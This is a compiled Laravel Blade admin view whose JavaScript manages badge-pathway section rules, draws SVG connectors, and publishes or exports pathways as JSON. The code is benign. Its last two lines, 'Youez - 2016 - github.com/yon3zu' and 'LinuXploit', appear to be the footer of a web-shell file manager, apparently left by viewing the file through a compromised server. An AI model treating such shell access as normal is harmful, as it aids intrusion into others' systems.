    document.querySelectorAll('.rule-dropdown-toggle').forEach(btn => {
        btn.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();

            const sectionId = this.dataset.sectionId;
            const dropdown = document.getElementById('rule-dropdown-' + sectionId);
            const indicator = this.closest('.section-rule-indicator');

            // Close all other dropdowns and remove their highlight
            document.querySelectorAll('.section-rule-indicator.dropdown-open').forEach(ind => {
                if (ind !== indicator) {
                    ind.classList.remove('dropdown-open');
                    ind.querySelector('.rule-dropdown')?.classList.remove('show');
                    ind.querySelector('.rule-dropdown-toggle')?.classList.remove('open');
                }
            });

            // Toggle this dropdown
            const isOpening = !dropdown.classList.contains('show');
            dropdown.classList.toggle('show');
            this.classList.toggle('open');
            indicator.classList.toggle('dropdown-open');
        });
    });

    // Close dropdown when clicking outside
    document.addEventListener('click', function(e) {
        if (!e.target.closest('.section-rule-indicator')) {
            document.querySelectorAll('.section-rule-indicator.dropdown-open').forEach(ind => {
                ind.classList.remove('dropdown-open');
                ind.querySelector('.rule-dropdown')?.classList.remove('show');
                ind.querySelector('.rule-dropdown-toggle')?.classList.remove('open');
            });
        }
    });

    // Handle rule option selection
    document.querySelectorAll('.rule-option').forEach(option => {
        option.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();

            const dropdown = this.closest('.rule-dropdown');
            const indicator = this.closest('.section-rule-indicator');
            const toggle = indicator.querySelector('.rule-dropdown-toggle');
            const sectionId = indicator.dataset.sectionId;
            const ruleType = this.dataset.ruleType;
            const ruleCount = this.dataset.ruleCount || null;

            // Mark this option as active
            dropdown.querySelectorAll('.rule-option').forEach(o => o.classList.remove('active'));
            this.classList.add('active');

            // Update button text
            toggle.querySelector('.rule-text').textContent = this.textContent.trim();

            // Close dropdown
            dropdown.classList.remove('show');
            toggle.classList.remove('open');
            indicator.classList.remove('dropdown-open');

            // Save via AJAX
            updateSectionRule(sectionId, ruleType, ruleCount);
        });
    });

    function updateSectionRule(sectionId, ruleType, ruleCount) {
        const formData = new FormData();
        formData.append('rule_type', ruleType);
        if (ruleCount) {
            formData.append('rule_count', ruleCount);
        }
        formData.append('_token', '<?php echo e(csrf_token()); ?>');
        formData.append('_method', 'PATCH');

        fetch('/admin/badge-albums/<?php echo e($album->id); ?>/sections/' + sectionId + '/rule', {
            method: 'POST',
            body: formData,
            headers: {
                'Accept': 'application/json',
                'X-Requested-With': 'XMLHttpRequest'
            }
        })
        .then(response => response.json())
        .then(data => {
            if (!data.success) {
                console.error('Failed to update section rule');
            }
        })
        .catch(error => {
            console.error('Error updating section rule:', error);
        });
    }

    // =============================================
    // Curved Connectors Between Sections
    // =============================================

    function drawCurvedConnectors() {
        // Check if sequential mode is active
        const sequentialToggle = document.getElementById('sequentialToggle');
        const isSequential = sequentialToggle && sequentialToggle.dataset.sequential === '1';

        document.querySelectorAll('.curved-connector-container').forEach(container => {
            const svg = container.querySelector('.curved-connector-svg');
            const toSectionId = container.dataset.toSection;
            const isMasterConnector = container.classList.contains('master-connector');
            const addBtn = container.querySelector('.connector-add-btn');

            // Find the target badge row
            const toRow = document.querySelector(`.badge-row[data-section-id="${toSectionId}"]`);
            if (!toRow) return;

            // Get badge cards in target row
            const toCards = toRow.querySelectorAll('.badge-card');
            if (toCards.length === 0) return;

            // Get container position for relative calculations
            const containerRect = container.getBoundingClientRect();

            // Clear existing paths
            svg.innerHTML = '';


            // Determine start point
            let startX, startY;

            if (isMasterConnector) {
                // Start from center top (below master badge)
                startX = containerRect.width / 2;
                startY = 0;
            } else if (addBtn) {
                // Start from the bottom center of the + button
                const btnRect = addBtn.getBoundingClientRect();
                startX = btnRect.left + btnRect.width / 2 - containerRect.left;
                startY = btnRect.bottom - containerRect.top;
            } else {
                startX = containerRect.width / 2;
                startY = 0;
            }

            // Calculate end points for each badge card
            const toPoints = Array.from(toCards).map(card => {
                const rect = card.getBoundingClientRect();
                return {
                    x: rect.left + rect.width / 2 - containerRect.left,
                    y: containerRect.height
                };
            });

            const height = containerRect.height;

            // Draw curves from start point to each target badge
            toPoints.forEach((toPoint) => {
                const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');

                const endX = toPoint.x;
                // Shorten path slightly to leave room for arrow if sequential
                const endY = isSequential ? height - 10 : height;

                // Control points for smooth S-curve
                // Adjust based on whether we're starting from button or top
                const verticalSpace = endY - startY;
                const cp1Y = startY + verticalSpace * 0.5;
                const cp2Y = startY + verticalSpace * 0.7;

                const d = `M ${startX} ${startY} C ${startX} ${cp1Y}, ${endX} ${cp2Y}, ${endX} ${endY}`;
                path.setAttribute('d', d);

                svg.appendChild(path);

                // Add upward arrow at the end of each path if sequential
                if (isSequential) {
                    const arrow = document.createElementNS('http://www.w3.org/2000/svg', 'polygon');
                    // Triangle pointing UP: apex at top, base at bottom
                    const arrowSize = 8;
                    const arrowX = endX;
                    const arrowY = endY;
                    // Points: left-bottom, top-center, right-bottom
                    arrow.setAttribute('points',
                        `${arrowX - arrowSize/2},${arrowY + arrowSize} ${arrowX},${arrowY} ${arrowX + arrowSize/2},${arrowY + arrowSize}`
                    );
                    arrow.classList.add('arrow-up');
                    svg.appendChild(arrow);
                }
            });
        });
    }

    // Draw connectors on load and resize
    setTimeout(drawCurvedConnectors, 50); // Small delay to ensure layout is ready
    window.addEventListener('resize', drawCurvedConnectors);

    // Redraw after any DOM changes that might affect layout
    const observer = new MutationObserver(() => {
        setTimeout(drawCurvedConnectors, 100);
    });
    const requiredSection = document.querySelector('.required-badges-section');
    if (requiredSection) {
        observer.observe(requiredSection, {
            childList: true,
            subtree: true
        });
    }

    // =============================================
    // Publish to OpenSkillPaths
    // =============================================

    document.getElementById('publishPathwayBtn')?.addEventListener('click', async function() {
        const btn = this;
        const originalText = btn.innerHTML;

        if (!confirm('Publish this pathway to OpenSkillPaths?\n\nThe pathway will be signed via your Badgau instance and submitted to the public registry.')) {
            return;
        }

        btn.disabled = true;
        btn.innerHTML = '<span class="spinner-border spinner-border-sm me-1"></span> Publishing...';

        try {
            const response = await fetch(<?php echo json_encode(route('admin.badge-albums.publish', $album), 512) ?>, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Accept': 'application/json',
                    'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content,
                },
            });

            const data = await response.json();

            if (data.success) {
                window.location.reload();
            } else {
                alert('Publish failed: ' + (data.error || 'Unknown error'));
                btn.disabled = false;
                btn.innerHTML = originalText;
            }
        } catch (err) {
            alert('Failed to publish: ' + err.message);
        } finally {
            btn.disabled = false;
            btn.innerHTML = originalText;
        }
    });

    // =============================================
    // Export Pathway as JSON
    // =============================================

    document.getElementById('exportPathwayBtn')?.addEventListener('click', function() {
        // Build portable pathway JSON from current data
        const pathway = {
            // Schema version for future compatibility
            schemaVersion: '1.0',
            exportedAt: new Date().toISOString(),
            exportedFrom: 'emaji',

            // Pathway metadata
            title: <?php echo json_encode($album->title, 15, 512) ?>,
            description: <?php echo json_encode($album->description, 15, 512) ?>,
            isSequential: <?php echo e($album->is_sequential ? 'true' : 'false'); ?>,
            status: <?php echo json_encode($album->status, 15, 512) ?>,

            // Master badge (the goal)
            masterBadge: {
                achievementId: <?php echo json_encode($album->master_achievement_id, 15, 512) ?>,
                title: <?php echo json_encode($album->master_badge_title, 15, 512) ?>,
                imageUrl: <?php echo json_encode($album->image_path, 15, 512) ?>,
            },

            // Sections with badges
            sections: [
                <?php $__currentLoopData = $album->sections; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $section): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                {
                    position: <?php echo e($section->position); ?>,
                    ruleType: <?php echo json_encode($section->rule_type, 15, 512) ?>,
                    ruleCount: <?php echo e($section->rule_count ?? 'null'); ?>,
                    badges: [
                        <?php $__currentLoopData = $section->slots; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $slot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        {
                            achievementId: <?php echo json_encode($slot->achievement_id, 15, 512) ?>,
                            title: <?php echo json_encode($slot->title, 15, 512) ?>,
                            description: <?php echo json_encode($slot->description, 15, 512) ?>,
                            imageUrl: <?php echo json_encode($slot->image_url, 15, 512) ?>,
                            issuer: {
                                url: <?php echo json_encode($slot->issuer_url, 15, 512) ?>,
                                did: <?php echo json_encode($slot->issuer_did, 15, 512) ?>,
                                name: <?php echo json_encode($slot->issuer_name, 15, 512) ?>,
                            },
                            isOptional: <?php echo e($slot->is_optional ? 'true' : 'false'); ?>,
                            position: <?php echo e($slot->position); ?>,
                        },
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    ],
                },
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            ],
        };

        // Create downloadable JSON file
        const jsonStr = JSON.stringify(pathway, null, 2);
        const blob = new Blob([jsonStr], { type: 'application/json' });
        const url = URL.createObjectURL(blob);

        // Create filename from title
        const filename = pathway.title
            .toLowerCase()
            .replace(/[^a-z0-9]+/g, '-')
            .replace(/^-|-$/g, '')
            + '-pathway.json';

        // Trigger download
        const a = document.createElement('a');
        a.href = url;
        a.download = filename;
        document.body.appendChild(a);
        a.click();
        document.body.removeChild(a);
        URL.revokeObjectURL(url);
    });

    // Sync colour picker ↔ text input (pathway-level override)
    const colorPicker = document.getElementById('brand_color_album');
    const colorText   = document.getElementById('brand_color_album_text');
    if (colorPicker && colorText) {
        colorPicker.addEventListener('input', () => colorText.value = colorPicker.value);
        colorText.addEventListener('input', () => {
            if (/^#[0-9a-fA-F]{6}$/.test(colorText.value)) colorPicker.value = colorText.value;
        });
    }

});
</script>
<?php $__env->stopPush(); ?>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/admin/badge-albums/edit.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit